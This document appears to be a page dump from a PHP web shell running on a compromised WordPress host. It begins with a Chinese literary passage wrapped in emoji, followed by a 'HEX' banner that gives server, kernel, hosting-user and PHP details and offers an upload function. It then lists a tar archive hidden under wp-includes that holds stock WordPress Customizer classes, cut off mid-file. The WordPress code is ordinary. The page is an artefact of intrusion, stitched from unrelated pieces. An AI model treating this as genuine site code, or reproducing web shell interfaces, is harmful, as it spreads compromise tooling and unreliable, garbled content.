Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/studionolh/www/wp-includes/Requests/Cookie/reusable-blocks/customize.tar
class-wp-customize-cropped-image-control.php000064400000002664152331005320015220 0ustar00<?php
/**
 * Customize API: WP_Customize_Cropped_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Cropped Image Control class.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Cropped_Image_Control extends WP_Customize_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'cropped_image';

	/**
	 * Suggested width for cropped image.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $width = 150;

	/**
	 * Suggested height for cropped image.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $height = 150;

	/**
	 * Whether the width is flexible.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	public $flex_width = false;

	/**
	 * Whether the height is flexible.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	public $flex_height = false;

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.3.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'customize-views' );

		parent::enqueue();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['width']       = absint( $this->width );
		$this->json['height']      = absint( $this->height );
		$this->json['flex_width']  = absint( $this->flex_width );
		$this->json['flex_height'] = absint( $this->flex_height );
	}

}
class-wp-customize-sidebar-section.php000064400000002043152331005320014070 0ustar00<?php
/**
 * Customize API: WP_Customize_Sidebar_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customizer section representing widget area (sidebar).
 *
 * @since 4.1.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Sidebar_Section extends WP_Customize_Section {

	/**
	 * Type of this section.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'sidebar';

	/**
	 * Unique identifier.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $sidebar_id;

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$json              = parent::json();
		$json['sidebarId'] = $this->sidebar_id;
		return $json;
	}

	/**
	 * Whether the current sidebar is rendered on the page.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Whether sidebar is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id );
	}
}
class-wp-customize-header-image-control.php000064400000017326152331005320015015 0ustar00<?php
/**
 * Customize API: WP_Customize_Header_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Header Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {
	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'header';

	/**
	 * Uploaded header images.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $uploaded_headers;

	/**
	 * Default header images.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $default_headers;

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		parent::__construct(
			$manager,
			'header_image',
			array(
				'label'    => __( 'Header Image' ),
				'settings' => array(
					'default' => 'header_image',
					'data'    => 'header_image_data',
				),
				'section'  => 'header_image',
				'removed'  => 'remove-header',
				'get_url'  => 'get_header_image',
			)
		);

	}

	/**
	 */
	public function enqueue() {
		wp_enqueue_media();
		wp_enqueue_script( 'customize-views' );

		$this->prepare_control();

		wp_localize_script(
			'customize-views',
			'_wpCustomizeHeader',
			array(
				'data'     => array(
					'width'         => absint( get_theme_support( 'custom-header', 'width' ) ),
					'height'        => absint( get_theme_support( 'custom-header', 'height' ) ),
					'flex-width'    => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
					'flex-height'   => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
					'currentImgSrc' => $this->get_current_image_src(),
				),
				'nonces'   => array(
					'add'    => wp_create_nonce( 'header-add' ),
					'remove' => wp_create_nonce( 'header-remove' ),
				),
				'uploads'  => $this->uploaded_headers,
				'defaults' => $this->default_headers,
			)
		);

		parent::enqueue();
	}

	/**
	 * @global Custom_Image_Header $custom_image_header
	 */
	public function prepare_control() {
		global $custom_image_header;
		if ( empty( $custom_image_header ) ) {
			return;
		}

		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) );

		// Process default headers and uploaded headers.
		$custom_image_header->process_default_headers();
		$this->default_headers  = $custom_image_header->get_default_header_images();
		$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
	}

	/**
	 */
	public function print_header_image_template() {
		?>
		<script type="text/template" id="tmpl-header-choice">
			<# if (data.random) { #>
			<button type="button" class="button display-options random">
				<span class="dashicons dashicons-randomize dice"></span>
				<# if ( data.type === 'uploaded' ) { #>
					<?php _e( 'Randomize uploaded headers' ); ?>
				<# } else if ( data.type === 'default' ) { #>
					<?php _e( 'Randomize suggested headers' ); ?>
				<# } #>
			</button>

			<# } else { #>

			<button type="button" class="choice thumbnail"
				data-customize-image-value="{{data.header.url}}"
				data-customize-header-image-data="{{JSON.stringify(data.header)}}">
				<span class="screen-reader-text"><?php _e( 'Set image' ); ?></span>
				<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
			</button>

			<# if ( data.type === 'uploaded' ) { #>
				<button type="button" class="dashicons dashicons-no close"><span class="screen-reader-text"><?php _e( 'Remove image' ); ?></span></button>
			<# } #>

			<# } #>
		</script>

		<script type="text/template" id="tmpl-header-current">
			<# if (data.choice) { #>
				<# if (data.random) { #>

			<div class="placeholder">
				<span class="dashicons dashicons-randomize dice"></span>
				<# if ( data.type === 'uploaded' ) { #>
					<?php _e( 'Randomizing uploaded headers' ); ?>
				<# } else if ( data.type === 'default' ) { #>
					<?php _e( 'Randomizing suggested headers' ); ?>
				<# } #>
			</div>

				<# } else { #>

			<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />

				<# } #>
			<# } else { #>

			<div class="placeholder">
				<?php _e( 'No image set' ); ?>
			</div>

			<# } #>
		</script>
		<?php
	}

	/**
	 * @return string|void
	 */
	public function get_current_image_src() {
		$src = $this->value();
		if ( isset( $this->get_url ) ) {
			$src = call_user_func( $this->get_url, $src );
			return $src;
		}
	}

	/**
	 */
	public function render_content() {
		$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
		$width      = absint( get_theme_support( 'custom-header', 'width' ) );
		$height     = absint( get_theme_support( 'custom-header', 'height' ) );
		?>
		<div class="customize-control-content">
			<?php
			if ( current_theme_supports( 'custom-header', 'video' ) ) {
				echo '<span class="customize-control-title">' . $this->label . '</span>';
			}
			?>
			<div class="customize-control-notifications-container"></div>
			<p class="customizer-section-intro customize-control-description">
				<?php
				if ( current_theme_supports( 'custom-header', 'video' ) ) {
					_e( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image that matches the size of your video &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' );
				} elseif ( $width && $height ) {
					printf(
						/* translators: %s: Header size in pixels. */
						__( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s &times; %s</strong>', $width, $height )
					);
				} elseif ( $width ) {
					printf(
						/* translators: %s: Header width in pixels. */
						__( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s</strong>', $width )
					);
				} else {
					printf(
						/* translators: %s: Header height in pixels. */
						__( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s</strong>', $height )
					);
				}
				?>
			</p>
			<div class="current">
				<label for="header_image-button">
					<span class="customize-control-title">
						<?php _e( 'Current header' ); ?>
					</span>
				</label>
				<div class="container">
				</div>
			</div>
			<div class="actions">
				<?php if ( current_user_can( 'upload_files' ) ) : ?>
				<button type="button"<?php echo $visibility; ?> class="button remove" aria-label="<?php esc_attr_e( 'Hide header image' ); ?>"><?php _e( 'Hide image' ); ?></button>
				<button type="button" class="button new" id="header_image-button" aria-label="<?php esc_attr_e( 'Add new header image' ); ?>"><?php _e( 'Add new image' ); ?></button>
				<?php endif; ?>
			</div>
			<div class="choices">
				<span class="customize-control-title header-previously-uploaded">
					<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
				</span>
				<div class="uploaded">
					<div class="list">
					</div>
				</div>
				<span class="customize-control-title header-default">
					<?php _ex( 'Suggested', 'custom headers' ); ?>
				</span>
				<div class="default">
					<div class="list">
					</div>
				</div>
			</div>
		</div>
		<?php
	}
}
class-wp-customize-nav-menu-item-control.php000064400000015522152331005320015163 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the name field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Item_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_item';

	/**
	 * The nav menu item setting.
	 *
	 * @since 4.3.0
	 * @var WP_Customize_Nav_Menu_Item_Setting
	 */
	public $setting;

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      The control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Don't render the control's content - it's rendered with a JS template.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.3.0
	 */
	public function content_template() {
		?>
		<div class="menu-item-bar">
			<div class="menu-item-handle">
				<span class="item-type" aria-hidden="true">{{ data.item_type_label }}</span>
				<span class="item-title" aria-hidden="true">
					<span class="spinner"></span>
					<span class="menu-item-title<# if ( ! data.title && ! data.original_title ) { #> no-title<# } #>">{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}</span>
				</span>
				<span class="item-controls">
					<button type="button" class="button-link item-edit" aria-expanded="false"><span class="screen-reader-text">
					<?php
						/* translators: 1: Title of a menu item, 2: Type of a menu item. */
						printf( __( 'Edit menu item: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
					?>
					</span><span class="toggle-indicator" aria-hidden="true"></span></button>
					<button type="button" class="button-link item-delete submitdelete deletion"><span class="screen-reader-text">
					<?php
						/* translators: 1: Title of a menu item, 2: Type of a menu item. */
						printf( __( 'Remove Menu Item: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
					?>
					</span></button>
				</span>
			</div>
		</div>

		<div class="menu-item-settings" id="menu-item-settings-{{ data.menu_item_id }}">
			<# if ( 'custom' === data.item_type ) { #>
			<p class="field-url description description-thin">
				<label for="edit-menu-item-url-{{ data.menu_item_id }}">
					<?php _e( 'URL' ); ?><br />
					<input class="widefat code edit-menu-item-url" type="text" id="edit-menu-item-url-{{ data.menu_item_id }}" name="menu-item-url" />
				</label>
			</p>
		<# } #>
			<p class="description description-thin">
				<label for="edit-menu-item-title-{{ data.menu_item_id }}">
					<?php _e( 'Navigation Label' ); ?><br />
					<input type="text" id="edit-menu-item-title-{{ data.menu_item_id }}" placeholder="{{ data.original_title }}" class="widefat edit-menu-item-title" name="menu-item-title" />
				</label>
			</p>
			<p class="field-link-target description description-thin">
				<label for="edit-menu-item-target-{{ data.menu_item_id }}">
					<input type="checkbox" id="edit-menu-item-target-{{ data.menu_item_id }}" class="edit-menu-item-target" value="_blank" name="menu-item-target" />
					<?php _e( 'Open link in a new tab' ); ?>
				</label>
			</p>
			<p class="field-title-attribute field-attr-title description description-thin">
				<label for="edit-menu-item-attr-title-{{ data.menu_item_id }}">
					<?php _e( 'Title Attribute' ); ?><br />
					<input type="text" id="edit-menu-item-attr-title-{{ data.menu_item_id }}" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title" />
				</label>
			</p>
			<p class="field-css-classes description description-thin">
				<label for="edit-menu-item-classes-{{ data.menu_item_id }}">
					<?php _e( 'CSS Classes' ); ?><br />
					<input type="text" id="edit-menu-item-classes-{{ data.menu_item_id }}" class="widefat code edit-menu-item-classes" name="menu-item-classes" />
				</label>
			</p>
			<p class="field-xfn description description-thin">
				<label for="edit-menu-item-xfn-{{ data.menu_item_id }}">
					<?php _e( 'Link Relationship (XFN)' ); ?><br />
					<input type="text" id="edit-menu-item-xfn-{{ data.menu_item_id }}" class="widefat code edit-menu-item-xfn" name="menu-item-xfn" />
				</label>
			</p>
			<p class="field-description description description-thin">
				<label for="edit-menu-item-description-{{ data.menu_item_id }}">
					<?php _e( 'Description' ); ?><br />
					<textarea id="edit-menu-item-description-{{ data.menu_item_id }}" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description">{{ data.description }}</textarea>
					<span class="description"><?php _e( 'The description will be displayed in the menu if the current theme supports it.' ); ?></span>
				</label>
			</p>

			<?php
			/**
			 * Fires at the end of the form field template for nav menu items in the customizer.
			 *
			 * Additional fields can be rendered here and managed in JavaScript.
			 *
			 * @since 5.4.0
			 */
			do_action( 'wp_nav_menu_item_custom_fields_customize_template' );
			?>

			<div class="menu-item-actions description-thin submitbox">
				<# if ( ( 'post_type' === data.item_type || 'taxonomy' === data.item_type ) && '' !== data.original_title ) { #>
				<p class="link-to-original">
					<?php
						/* translators: Nav menu item original title. %s: Original title. */
						printf( __( 'Original: %s' ), '<a class="original-link" href="{{ data.url }}">{{ data.original_title }}</a>' );
					?>
				</p>
				<# } #>

				<button type="button" class="button-link button-link-delete item-delete submitdelete deletion"><?php _e( 'Remove' ); ?></button>
				<span class="spinner"></span>
			</div>
			<input type="hidden" name="menu-item-db-id[{{ data.menu_item_id }}]" class="menu-item-data-db-id" value="{{ data.menu_item_id }}" />
			<input type="hidden" name="menu-item-parent-id[{{ data.menu_item_id }}]" class="menu-item-data-parent-id" value="{{ data.parent }}" />
		</div><!-- .menu-item-settings-->
		<ul class="menu-item-transport"></ul>
		<?php
	}

	/**
	 * Return parameters for this control.
	 *
	 * @since 4.3.0
	 *
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported                 = parent::json();
		$exported['menu_item_id'] = $this->setting->post_id;

		return $exported;
	}
}
class-wp-customize-media-control.php000064400000022250152331005320013554 0ustar00<?php
/**
 * Customize API: WP_Customize_Media_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Media Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Media_Control extends WP_Customize_Control {
	/**
	 * Control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'media';

	/**
	 * Media control mime type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $button_labels = array();

	/**
	 * Constructor.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function enqueue() {
		wp_enqueue_media();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['label']         = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$this->json['mime_type']     = $this->mime_type;
		$this->json['button_labels'] = $this->button_labels;
		$this->json['canUpload']     = current_user_can( 'upload_files' );

		$value = $this->value();

		if ( is_object( $this->setting ) ) {
			if ( $this->setting->default ) {
				// Fake an attachment model - needs all fields used by template.
				// Note that the default value must be a URL, NOT an attachment ID.
				$ext  = substr( $this->setting->default, -3 );
				$type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp' ), true ) ? 'image' : 'document';

				$default_attachment = array(
					'id'    => 1,
					'url'   => $this->setting->default,
					'type'  => $type,
					'icon'  => wp_mime_type_icon( $type ),
					'title' => wp_basename( $this->setting->default ),
				);

				if ( 'image' === $type ) {
					$default_attachment['sizes'] = array(
						'full' => array( 'url' => $this->setting->default ),
					);
				}

				$this->json['defaultAttachment'] = $default_attachment;
			}

			if ( $value && $this->setting->default && $value === $this->setting->default ) {
				// Set the default as the attachment.
				$this->json['attachment'] = $this->json['defaultAttachment'];
			} elseif ( $value ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
			}
		}
	}

	/**
	 * Don't render any content for this control from PHP.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Media_Control::content_template()
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the media control.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function content_template() {
		?>
		<#
		var descriptionId = _.uniqueId( 'customize-media-control-description-' );
		var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
		#>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
				<div class="thumbnail thumbnail-{{ data.attachment.type }}">
					<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
					<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
					<# } else if ( 'audio' === data.attachment.type ) { #>
						<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
							<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
						<# } else { #>
							<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
						<# } #>
						<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
						<# if ( data.attachment.album || data.attachment.meta.album ) { #>
						<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
						<# } #>
						<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
						<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
						<# } #>
						<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
							<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
						</audio>
					<# } else if ( 'video' === data.attachment.type ) { #>
						<div class="wp-media-wrapper wp-video">
							<video controls="controls" class="wp-video-shortcode" preload="metadata"
								<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
								<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
							</video>
						</div>
					<# } else { #>
						<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
						<p class="attachment-title">{{ data.attachment.title }}</p>
					<# } #>
				</div>
				<div class="actions">
					<# if ( data.canUpload ) { #>
					<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
					<button type="button" class="button upload-button control-focus" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button-add-media" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}

	/**
	 * Get default button labels.
	 *
	 * Provides an array of the default button labels based on the mime type of the current control.
	 *
	 * @since 4.9.0
	 *
	 * @return string[] An associative array of default button labels keyed by the button name.
	 */
	public function get_default_button_labels() {
		// Get just the mime type and strip the mime subtype if present.
		$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';

		switch ( $mime_type ) {
			case 'video':
				return array(
					'select'       => __( 'Select video' ),
					'change'       => __( 'Change video' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No video selected' ),
					'frame_title'  => __( 'Select video' ),
					'frame_button' => __( 'Choose video' ),
				);
			case 'audio':
				return array(
					'select'       => __( 'Select audio' ),
					'change'       => __( 'Change audio' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No audio selected' ),
					'frame_title'  => __( 'Select audio' ),
					'frame_button' => __( 'Choose audio' ),
				);
			case 'image':
				return array(
					'select'       => __( 'Select image' ),
					'site_icon'    => __( 'Select site icon' ),
					'change'       => __( 'Change image' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No image selected' ),
					'frame_title'  => __( 'Select image' ),
					'frame_button' => __( 'Choose image' ),
				);
			default:
				return array(
					'select'       => __( 'Select file' ),
					'change'       => __( 'Change file' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No file selected' ),
					'frame_title'  => __( 'Select file' ),
					'frame_button' => __( 'Choose file' ),
				);
		} // End switch().
	}
}
class-wp-customize-custom-css-setting.php000064400000011444152331005320014575 0ustar00<?php
/**
 * Customize API: WP_Customize_Custom_CSS_Setting class
 *
 * This handles validation, sanitization and saving of the value.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.7.0
 */

/**
 * Custom Setting to handle WP Custom CSS.
 *
 * @since 4.7.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Custom_CSS_Setting extends WP_Customize_Setting {

	/**
	 * The setting type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $type = 'custom_css';

	/**
	 * Setting Transport
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $transport = 'postMessage';

	/**
	 * Capability required to edit this setting.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $capability = 'edit_css';

	/**
	 * Stylesheet
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $stylesheet = '';

	/**
	 * WP_Customize_Custom_CSS_Setting constructor.
	 *
	 * @since 4.7.0
	 *
	 * @throws Exception If the setting ID does not match the pattern `custom_css[$stylesheet]`.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		if ( 'custom_css' !== $this->id_data['base'] ) {
			throw new Exception( 'Expected custom_css id_base.' );
		}
		if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) {
			throw new Exception( 'Expected single stylesheet key.' );
		}
		$this->stylesheet = $this->id_data['keys'][0];
	}

	/**
	 * Add filter to preview post value.
	 *
	 * @since 4.7.9
	 *
	 * @return bool False when preview short-circuits due no change needing to be previewed.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}
		$this->is_previewed = true;
		add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 );
		return true;
	}

	/**
	 * Filters `wp_get_custom_css` for applying the customized value.
	 *
	 * This is used in the preview when `wp_get_custom_css()` is called for rendering the styles.
	 *
	 * @since 4.7.0
	 *
	 * @see wp_get_custom_css()
	 *
	 * @param string $css        Original CSS.
	 * @param string $stylesheet Current stylesheet.
	 * @return string CSS.
	 */
	public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) {
		if ( $stylesheet === $this->stylesheet ) {
			$customized_value = $this->post_value( null );
			if ( ! is_null( $customized_value ) ) {
				$css = $customized_value;
			}
		}
		return $css;
	}

	/**
	 * Fetch the value of the setting. Will return the previewed value when `preview()` is called.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_Customize_Setting::value()
	 *
	 * @return string
	 */
	public function value() {
		if ( $this->is_previewed ) {
			$post_value = $this->post_value( null );
			if ( null !== $post_value ) {
				return $post_value;
			}
		}
		$id_base = $this->id_data['base'];
		$value   = '';
		$post    = wp_get_custom_css_post( $this->stylesheet );
		if ( $post ) {
			$value = $post->post_content;
		}
		if ( empty( $value ) ) {
			$value = $this->default;
		}

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		$value = apply_filters( "customize_value_{$id_base}", $value, $this );

		return $value;
	}

	/**
	 * Validate CSS.
	 *
	 * Checks for imbalanced braces, brackets, and comments.
	 * Notifications are rendered when the customizer state is saved.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor.
	 *
	 * @param string $css The input string.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	public function validate( $css ) {
		$validity = new WP_Error();

		if ( preg_match( '#</?\w+#', $css ) ) {
			$validity->add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) );
		}

		if ( ! $validity->has_errors() ) {
			$validity = parent::validate( $css );
		}
		return $validity;
	}

	/**
	 * Store the CSS setting value in the custom_css custom post type for the stylesheet.
	 *
	 * @since 4.7.0
	 *
	 * @param string $css The input value.
	 * @return int|false The post ID or false if the value could not be saved.
	 */
	public function update( $css ) {
		if ( empty( $css ) ) {
			$css = '';
		}

		$r = wp_update_custom_css_post(
			$css,
			array(
				'stylesheet' => $this->stylesheet,
			)
		);

		if ( $r instanceof WP_Error ) {
			return false;
		}
		$post_id = $r->ID;

		// Cache post ID in theme mod for performance to avoid additional DB query.
		if ( $this->manager->get_stylesheet() === $this->stylesheet ) {
			set_theme_mod( 'custom_css_post_id', $post_id );
		}

		return $post_id;
	}
}
class-wp-customize-new-menu-section.php000064400000003235152331005320014216 0ustar00<?php
/**
 * Customize API: WP_Customize_New_Menu_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

_deprecated_file( basename( __FILE__ ), '4.9.0' );

/**
 * Customize Menu Section Class
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Section
 */
class WP_Customize_New_Menu_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.9.0
	 * @deprecated 4.9.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the section.
	 * @param array                $args    Section arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_function( __METHOD__, '4.9.0' );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the section, and the controls that have been added to it.
	 *
	 * @since 4.3.0
	 * @deprecated 4.9.0
	 */
	protected function render() {
		_deprecated_function( __METHOD__, '4.9.0' );
		?>
		<li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="accordion-section-new-menu">
